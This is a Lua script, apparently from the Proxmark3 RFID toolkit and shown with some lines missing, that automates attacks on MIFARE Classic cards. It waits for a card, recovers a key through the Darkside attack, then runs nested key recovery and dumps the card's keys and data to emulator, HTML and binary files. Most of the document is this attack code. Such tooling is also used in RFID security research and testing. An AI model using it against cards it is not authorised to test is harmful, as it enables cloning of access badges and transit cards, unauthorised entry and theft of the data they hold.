1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
11 This is a which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
27 -------------------------------
29 -------------------------------
32 -- A debug printout-function
39 -- This is only meant to be used when errors occur
49 print("Example usage")
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
63 return nil, "Aborted by user"
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
76 if key then return key end
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
83 return nil, "Aborted by user"
87 function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
93 I don't understand, they cmd and args are defined as uint32_t, however,
94 looking at the returned data, they all look like 64-bit things:
96 print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
98 FF 00 00 00 00 00 00 00 <-- 64 bits of data
99 FE FF FF FF 00 00 00 00 <-- 64 bits of data
100 00 00 00 00 00 00 00 00 <-- 64 bits of data
101 00 00 00 00 00 00 00 00 <-- 64 bits of data
102 04 7F 12 E2 00 <-- this is where 'data' starts
104 So below I use LI to pick out the "FEFF FFFF", don't know why it works..
106 -- Unpacking the arg-parameters
107 local count,cmd,isOK = bin.unpack('LI',result)
108 --print("response", isOK)--FF FF FF FF
109 if isOK == 0xFFFFFFFF then
110 return nil, "Button pressed. Aborted."
111 elseif isOK == 0xFFFFFFFE then
112 return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
113 elseif isOK == 0xFFFFFFFD then
114 return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
115 elseif isOK ~= 1 then
116 return nil, "Error occurred"
120 -- The data-part is left
121 -- Starts 32 bytes in, at byte 33
122 local data = result:sub(33)
125 local get = function(num)
126 local x = data:sub(1,num)
127 data = data:sub(num+1)
131 local uid,nt,pl = get(4),get(4),get(8)
132 local ks,nr = get(8),get(4)
134 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
135 if not status then return status,key end
138 print("Key not found (lfsr_common_prefix problem)")
146 return nil, "Aborted by user"
149 function nested(key,sak)
151 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
153 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
155 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
157 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
159 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
162 print("I don't know how many sectors there are on this type of card, defaulting to 16")
164 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
169 core.console("hf mf dump")
170 -- Save the global args, those are *our* arguments
172 -- Set the arguments for htmldump script
173 args =("-o %s.html"):format(uid)
175 require('../scripts/htmldump')
179 require('../scripts/dumptoemul')
180 -- Set back args. Not that it's used, just for the karma...
185 -- The main entry point
189 local verbose, exit,res,uid,err,_,sak
192 -- Read the parameters
193 for o, a in getopt.getopt(args, 'hd') do
194 if o == "h" then help() return end
195 if o == "d" then DEBUG = true end
199 res, err = wait_for_mifare()
200 if err then return oops(err) end
204 if not seen_uids[uid] then
207 print("Card found, commencing crack", uid)
211 if not res then return oops(err) end
212 -- The key is actually 8 bytes, so a
213 -- 6-byte key is sent as 00XXXXXX
214 -- This means we unpack it as first
215 -- two bytes, then six bytes actual key data
216 -- We can discard first and second return values
217 _,_,key = bin.unpack("H2H6",res)